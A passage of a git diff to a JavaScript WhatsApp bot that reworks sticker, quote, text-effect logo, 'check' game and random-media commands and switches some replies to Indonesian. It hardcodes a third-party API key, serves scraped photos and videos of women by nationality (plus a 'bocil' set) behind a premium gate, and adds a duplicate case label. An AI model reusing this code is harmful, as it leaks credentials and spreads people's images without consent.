['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] var bhuruk = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] var cerdhas = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] @@ -4094,24 +15168,24 @@ case 'checkme': profile = `*โ‰กโ•โ•ใ€Š Check @${bet.split('@')[0]} ใ€‹โ•โ•โ‰ก* *Name :* ${pushname} -*Characteristic :* ${sipat} +*karakteristik :* ${sipat} *Hobby :* ${biho} -*Simp :* ${bhucin}% +*bucin :* ${bhucin}% *Great :* ${senga}% -*Handsome :* ${chakep} +*Ganteng :* ${chakep} *Character :* ${watak} -*Good Morals :* ${baik}% -*Bad Morals :* ${burug}% -*Intelligence :* ${cerdas}% -*Courage :* ${berani}% -*Afraid :* ${takut}% +*Moral Baik :* ${baik}% +*Morals Buruk :* ${burug}% +*Kecerdasan :* ${cerdas}% +*Keberanian :* ${berani}% +*Penakut :* ${takut}% *โ‰กโ•โ•โ•ใ€Š CHECK PROPERTIES ใ€‹โ•โ•โ•โ‰ก*` buff = await getBuffer(defaultpp) XeonBotInc.sendMessage(from, { image: buff, caption: profile, mentions: [bet]},{quoted:m}) break case 'toimg': { - XeonStickWait() + reply(mess.wait) const getRandom = (ext) => { return `${Math.floor(Math.random() * 10000)}${ext}` } @@ -4131,101 +15205,101 @@ fs.unlinkSync(name) } else return replygcxeon(`Please reply to non animated sticker`) } break -case 'swm': case 'steal': case 'stickerwm': case 'take':{ -if (!isPrem) return replyprem(mess.premium) -if (!args.join(" ")) return replygcxeon(`Where is the text?`) -const swn = args.join(" ") -const pcknm = swn.split("|")[0] -const atnm = swn.split("|")[1] -if (m.quoted.isAnimated === true) { -XeonBotInc.downloadAndSaveMediaMessage(quoted, "gifee") -XeonBotInc.sendMessage(from, {sticker:fs.readFileSync("gifee.webp")},{quoted:m}) -} else if (/image/.test(mime)) { -let media = await quoted.download() -let encmedia = await XeonBotInc.sendImageAsSticker(m.chat, media, m, { packname: pcknm, author: atnm }) -} else if (/video/.test(mime)) { -if ((quoted.msg || quoted).seconds > 11) return replygcxeon('Maximum 10 Seconds!') -let media = await quoted.download() -let encmedia = await XeonBotInc.sendVideoAsSticker(m.chat, media, m, { packname: pcknm, author: atnm }) -} else { -replygcxeon(`Photo/Video?`) -} +case 'swm': case 'steal': case 'stickerwm': case 'take': case 'wm': { + const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` + } + let ahuh = args.join(' ').split('|') + let satu = ahuh[0] !== '' ? ahuh[0] : `yoy` + let dua = typeof ahuh[1] !== 'undefined' ? ahuh[1] : `` + let { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter') + let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) + let jancok = new Sticker(media, { + pack: satu, // The pack name + author: dua, // The author name + type: StickerTypes.FULL, // The sticker type + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], // The sticker category + id: '12345', // The sticker id + quality: 70, // The quality of the output file + background: '#FFFFFF00' // The sticker background color (only for full stickers) + }) + let stok = getRandom(".webp") + let nono = await jancok.toFile(stok) + let nah = fs.readFileSync(nono) + await XeonBotInc.sendMessage(from,{sticker: nah},{quoted: m}) + await fs.unlinkSync(stok) + await fs.unlinkSync(media) } -break -case 'qc': case'text': { - if (!args[0] && !m.quoted) { - return replygcxeon(`Where is the text?`) - } - let userPfp - if (m.quoted) { - try { - userPfp = await XeonBotInc.profilePictureUrl(m.quoted.sender, "image") - } catch (e) { - userPfp = defaultpp - } - } else { - try { - userPfp = await XeonBotInc.profilePictureUrl(m.sender, "image") - } catch (e) { - userPfp = defaultpp - } - } - const waUserName = pushname - const quoteText = m.quoted ? m.quoted.body : args.join(" ") - const quoteJson = { - type: "quote", - format: "png", - backgroundColor: "#FFFFFF", - width: 700, - height: 580, - scale: 2, - messages: [ - { - entities: [], - avatar: true, - from: { - id: 1, - name: waUserName, - photo: { - url: userPfp, - }, - }, - text: quoteText, - replyMessage: {}, - }, - ], - } - try { - const quoteResponse = await axios.post("https://bot.lyo.su/quote/generate", quoteJson, { - headers: { "Content-Type": "application/json" }, - }) - const buffer = Buffer.from(quoteResponse.data.result.image, "base64") - XeonBotInc.sendImageAsSticker(m.chat, buffer, m, { - packname: packname, - author: author, - }) - } catch (error) { - console.error(error) - replygcxeon('Error') - } - } - break -case 's': case 'sticker': case 'stiker': { -if (!quoted) return replygcxeon(`Send/Reply Images/Videos/Gifs With Captions ${prefix+command}\nVideo Duration 1-9 Seconds`) -if (/image/.test(mime)) { -let media = await quoted.download() -let encmedia = await XeonBotInc.sendImageAsSticker(m.chat, media, m, { packname: global.packname, author: global.author }) + break -} else if (/video/.test(mime)) { -if ((quoted.msg || quoted).seconds > 11) return replygcxeon('Send/Reply Images/Videos/Gifs With Captions ${prefix+command}\nVideo Duration 1-9 Seconds') -let media = await quoted.download() -let encmedia = await XeonBotInc.sendVideoAsSticker(m.chat, media, m, { packname: global.packname, author: global.author }) +case 'delsampah':{ + let path = require('path'); + let directoryPath = path.join(); + fs.readdir(directoryPath, async function (err, files) { + if (err) { + console.log('Unable to scan directory: ' + err); + return reply('Unable to scan directory: ' + err); + } + let filteredArray = await files.filter(item => item.endsWith("gif") || item.endsWith("png") || item.endsWith("mp3") || item.endsWith("mp4") || item.endsWith("jpg") ||item.endsWith("webp") ||item.endsWith("webm") || item.endsWith("opus") || item.endsWith("jpeg")) + console.log(filteredArray.length); + let teks =`Terdeteksi ${filteredArray.length} file Kenangan <3\n\n` + if(filteredArray.length == 0) return reply(`${teks}`) + filteredArray.map(function(e, i){ + teks += (i+1)+`. ${e}\n` + }) + + reply(`${teks}`) + +// await sleep(2000) + reply("Menghapus file Kenangan...") + await filteredArray.forEach(function (file) { + fs.unlinkSync(file) + }); + //await sleep(2000) + reply("Berhasil menghapus semua Kenangan <3") + + }); + } + break -} else { -replygcxeon(`Send/Reply Images/Videos/Gifs With Captions ${prefix+command}\nVideo Duration 1-9 Seconds`) -} -} -break +case 'qc': { + const { + quote + } = require('./lib/quote.js') + if (!q) return replygcxeon('Enter Text') + let ppnyauser = await await XeonBotInc.profilePictureUrl(m.sender, 'image').catch(_ => 'https://telegra.ph/file/6880771a42bad09dd6087.jpg') + const rest = await quote(q, pushname, ppnyauser) + XeonBotInc.sendImageAsSticker(m.chat, rest.result, m, { + packname: `${global.packname}`, + author: `${global.author}` + }) + } + break +case 's': +case 'stiker': +case 'sticker': + const getRandom = (ext) => { + return `${Math.floor(Math.random() * 10000)}${ext}` + } + let kualitas = isImage ? 70 : 2; + const { Sticker, createSticker, StickerTypes } = require('wa-sticker-formatter'); +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted); +const jancok = new Sticker(media, { + pack: global.packname, // The pack name + author: global.author, // The author name + type: StickerTypes.FULL, // The sticker type + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], // The sticker category + id: '12345', // The sticker id + quality: kualitas, // The quality of the output file + background: '#FFFFFF00' // The sticker background color (only for full stickers) + }); + let stok = getRandom(".webp") + let nono = await jancok.toFile(stok) + let nah = fs.readFileSync(nono) + await XeonBotInc.sendMessage(from,{sticker: nah},{quoted: m}) + await fs.unlinkSync(stok) + await fs.unlinkSync(media) + break; case 'quotes': const quotexeony = await axios.get(`https://favqs.com/api/qotd`) const textquotes = `*${themeemoji} Quote:* ${quotexeony.data.quote.body}\n\n*${themeemoji} Author:* ${quotexeony.data.quote.author}` @@ -4256,10 +15330,10 @@ case 'awesomecheck': case 'lesbicheck': case 'lesbiancheck': case 'hornycheck': - case 'prettycheck': - case 'lovelycheck': - case 'uglycheck': -if (!m.isGroup) return XeonStickGroup() + case 'prettycheck': +case 'lovelycheck': + case 'uglycheck': +if (!m.isGroup) return reply(mess.only.group) const cex = body.slice(0) const cek1 = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] const cek2 = cek1[Math.floor(Math.random() * cek1.length)] @@ -4271,7 +15345,7 @@ XeonBotInc.sendMessage(from, { text: 'Question : *' + cex + '*\nChecker : ' + `@ XeonBotInc.sendMessage(from, { text: 'Question : *' + cex + '*\nChecker : ' + `@${sender.split('@')[0]}` + '\nAnswer : ' + cek2 + '%', mentions: [sender] }, { quoted: m }) } break -case 'obfus': case 'obfuscate':{ +case 'obfus': case 'enc': case 'obfuscate':{ if (!q) return replygcxeon(`Example ${prefix+command} const xeonbot = require('baileys')`) let meg = await obfus(q) replygcxeon(`Success @@ -4281,12 +15355,12 @@ break case 'style': case 'styletext': { let { styletext } = require('./lib/scraper') if (!text) return replygcxeon('Enter Query text!') - let anu = await styletext(text) - let teks = `Style Text From ${text}\n\n` - for (let i of anu) { - teks += `${themeemoji} *${i.name}* : ${i.result}\n\n` - } - replygcxeon(teks) +let anu = await styletext(text) +let teks = `Style Text From ${text}\n\n` +for (let i of anu) { +teks += `${themeemoji} *${i.name}* : ${i.result}\n\n` +} +replygcxeon(teks) } break case 'candy': @@ -4341,14 +15415,13 @@ case 'joker': case 'wicker': case 'firework': case 'skeleton': -case 'blackpink': case 'sand': case 'glue': case '1917': case 'leaves': { if (!q) return replygcxeon(`Example : ${prefix+command} XeonBotInc`) -XeonStickWait() +reply(mess.wait) let link if (/candy/.test(command)) link = 'https://textpro.me/create-christmas-candy-cane-text-effect-1056.html' if (/christmas/.test(command)) link = 'https://textpro.me/christmas-tree-text-effect-online-free-1057.html' @@ -4402,7 +15475,6 @@ if (/joker/.test(command)) link = 'https://textpro.me/create-logo-joker-online-9 if (/wicker/.test(command)) link = 'https://textpro.me/wicker-text-effect-online-932.html' if (/firework/.test(command)) link = 'https://textpro.me/firework-sparkle-text-effect-930.html' if (/skeleton/.test(command)) link = 'https://textpro.me/skeleton-text-effect-online-929.html' -if (/blackpink/.test(command)) link = 'https://textpro.me/create-blackpink-logo-style-online-1001.html' if (/sand/.test(command)) link = 'https://textpro.me/write-in-sand-summer-beach-free-online-991.html' if (/glue/.test(command)) link = 'https://textpro.me/create-3d-glue-text-effect-with-realistic-style-986.html' if (/1917/.test(command)) link = 'https://textpro.me/1917-style-text-effect-online-980.html' @@ -4443,7 +15515,7 @@ case 'galaxystyle': case 'lighteffects':{ if (!q) return replygcxeon(`Example : ${prefix+command} XeonBotInc`) -XeonStickWait() +reply(mess.wait) let link if (/glitchtext/.test(command)) link = 'https://en.ephoto360.com/create-digital-glitch-text-effects-online-767.html' if (/writetext/.test(command)) link = 'https://en.ephoto360.com/write-text-on-wet-glass-online-589.html' @@ -4508,7 +15580,7 @@ case 'quotesunder': case 'shinetext':{ if (!q) return replygcxeon(`Example : ${prefix+command} XeonBotInc`) -XeonStickWait() +reply(mess.wait) let link if (/stonetext/.test(command)) link = 'https://photooxy.com/online-3d-white-stone-text-effect-utility-411.html' if (/writeart/.test(command)) link = 'https://photooxy.com/logo-and-text-effects/write-art-quote-on-wood-heart-370.html' @@ -4543,43 +15615,56 @@ XeonBotInc.sendMessage(m.chat, { image: { url: dehe }, caption: `${mess.success} break case 'pornhub':{ if(!q) return replygcxeon(`Example: ${prefix + command} ajg | ea`) -XeonStickWait() +reply(mess.wait) inilogo4 = args.join(" ") inilogo9 = args.join(" ") var logo4 = inilogo4.split('|')[0] var logo9 = inilogo9.split('|')[1] let anuphub = await textpro2("https://textpro.me/pornhub-style-logo-online-generator-free-977.html", [`${logo4}`,`${logo9}`]) console.log(anuphub) -XeonBotInc.sendMessage(from,{image:{url:anuphub}, caption:"Here you go!"},{quoted:m}) +XeonBotInc.sendMessage(from,{image:{url:anuphub}, caption:"Ini dia!!"},{quoted:m}) } break +case 'blackpink': + if (!q) return m.reply(`Masukan Text Nya!\n\nContoh\n${command} Blackpink`) + let res = await fetch('https://api.lolhuman.xyz/api/textprome/blackpink', { + method: 'POST', + body: JSON.stringify({ text: q }), + headers: { 'Content-Type': 'application/json', 'apikey': 'haikalgans' }, + }) + let image = await res.buffer() + if (!image) return m.reply('Terjadi kesalahan saat mengambil gambar.') + XeonBotInc.sendFile(m.chat, image, 'error.jpg', 'Ini Dia Kak', m, false) + break + + case 'retro':{ if(!q) return replygcxeon(`Example: ${prefix + command} ajg | ea`) -XeonStickWait() +reply(mess.wait) inilogo4 = args.join(" ") inilogo9 = args.join(" ") var logo4 = inilogo4.split('|')[0] var logo9 = inilogo9.split('|')[1] let anutro2 = await textpro2("https://textpro.me/create-3d-retro-text-effect-online-free-1065.html", [`${logo4}`,`${logo9}`]) console.log(anutro2) -XeonBotInc.sendMessage(from,{image:{url:anutro2}, caption:"Here you go!"},{quoted:m}) +XeonBotInc.sendMessage(from,{image:{url:anutro2}, caption:"Ini dia!!"},{quoted:m}) } break case '8bit':{ if(!q) return replygcxeon(`Example: ${prefix + command} ajg | ea`) -XeonStickWait() +reply(mess.wait) inilogo4 = args.join(" ") inilogo9 = args.join(" ") var logo4 = inilogo4.split('|')[0] var logo9 = inilogo9.split('|')[1] let anubit8 = await textpro2("https://textpro.me/video-game-classic-8-bit-text-effect-1037.html", [`${logo4}`,`${logo9}`]) console.log(anubit8) -XeonBotInc.sendMessage(from,{image:{url:anubit8}, caption:"Here you go!"},{quoted:m}) +XeonBotInc.sendMessage(from,{image:{url:anubit8}, caption:"Ini dia!!"},{quoted:m}) } break case 'batman': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/make-a-batman-logo-online-free-1066.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4587,7 +15672,7 @@ maker.textpro("https://textpro.me/make-a-batman-logo-online-free-1066.html", [ break case '3dbox': if(!q) return replygcxeon(`Example: ${prefix + command} ea`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/3d-box-text-effect-online-880.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4595,7 +15680,7 @@ maker.textpro("https://textpro.me/3d-box-text-effect-online-880.html", [ break case 'lion': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/create-lion-logo-mascot-online-938.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4603,7 +15688,7 @@ XeonStickWait() break case '3davengers': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/create-3d-avengers-logo-online-974.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4611,7 +15696,7 @@ maker.textpro("https://textpro.me/create-3d-avengers-logo-online-974.html", [ break case 'window': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4619,7 +15704,7 @@ maker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.ht break case '3dspace': if(!q) return replygcxeon(`Example: ${prefix + command} ajg | ea`) -XeonStickWait() +reply(mess.wait) teks1 = q.split("|")[0] teks2 = q.split("|")[1] maker.textpro("https://textpro.me/create-space-3d-text-effect-online-985.html", [ @@ -4629,7 +15714,7 @@ maker.textpro("https://textpro.me/create-space-3d-text-effect-online-985.html", break case 'bokeh': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/bokeh-text-effect-876.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4637,7 +15722,7 @@ maker.textpro("https://textpro.me/bokeh-text-effect-876.html", [ break case 'holographic': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/holographic-3d-text-effect-975.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4645,7 +15730,7 @@ maker.textpro("https://textpro.me/holographic-3d-text-effect-975.html", [ break case 'thewall': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/break-wall-text-effect-871.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4653,7 +15738,7 @@ maker.textpro("https://textpro.me/break-wall-text-effect-871.html", [ break case 'carbon': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/carbon-text-effect-833.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4661,7 +15746,7 @@ maker.textpro("https://textpro.me/carbon-text-effect-833.html", [ break case 'whitebear': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/online-black-and-white-bear-mascot-logo-creation-1012.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4669,7 +15754,7 @@ maker.textpro("https://textpro.me/online-black-and-white-bear-mascot-logo-creati break case 'metallic': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/create-a-metallic-text-effect-free-online-1041.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4677,7 +15762,7 @@ maker.textpro("https://textpro.me/create-a-metallic-text-effect-free-online-1041 break case 'steel': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/steel-text-effect-online-921.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4685,7 +15770,7 @@ maker.textpro("https://textpro.me/steel-text-effect-online-921.html", [ break case 'fabric': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/fabric-text-effect-online-964.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4693,7 +15778,7 @@ maker.textpro("https://textpro.me/fabric-text-effect-online-964.html", [ break case 'ancient': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/3d-golden-ancient-text-effect-online-free-1060.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) @@ -4701,264 +15786,293 @@ maker.textpro("https://textpro.me/3d-golden-ancient-text-effect-online-free-1060 break case 'marvel': if(!q) return replygcxeon(`Example: ${prefix + command} ajg`) -XeonStickWait() +reply(mess.wait) maker.textpro("https://textpro.me/create-logo-style-marvel-studios-ver-metal-972.html", [ `${q}`,]) .then((data) => XeonBotInc.sendMessage(m.chat, { image: { url: data }, caption: `Made by ${global.botname}` }, { quoted: m })) .catch((err) => console.log(err)); break case 'tiktokgirl': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var asupan = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/tiktokgirl.json')) var hasil = pickRandom(asupan) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktokghea': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var gheayubi = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/gheayubi.json')) var hasil = pickRandom(gheayubi) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktokbocil': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var bocil = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/bocil.json')) var hasil = pickRandom(bocil) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktoknukhty': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ukhty = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/ukhty.json')) var hasil = pickRandom(ukhty) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktoksantuy': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var santuy = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/santuy.json')) var hasil = pickRandom(santuy) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktokkayes': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var kayes = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/kayes.json')) var hasil = pickRandom(kayes) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktokpanrika': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var rikagusriani = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/panrika.json')) var hasil = pickRandom(rikagusriani) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'tiktoknotnot': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokvids/notnot.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, video: { url: hasil.url }}, { quoted: m }) break case 'chinese': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/china.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'hijab': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/hijab.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'indo': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/indonesia.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'japanese': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/japan.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'korean': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/korea.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'malay': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/malaysia.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'randomgirl': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/random.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'randomboy': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/random2.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'thai': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/thailand.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'vietnamese': -XeonStickWait() + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/tiktokpics/vietnam.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'aesthetic': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/aesthetic.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'antiwork': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/antiwork.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'blackpink': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/blackpink.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'bike': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/bike.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'boneka': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/boneka.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'cosplay': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/cosplay.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'cat': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/cat.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'doggo': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/doggo.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'justina': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/justina.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'kayes': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/kayes.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'kpop': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/kpop.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'notnot': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/notnot.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'car': 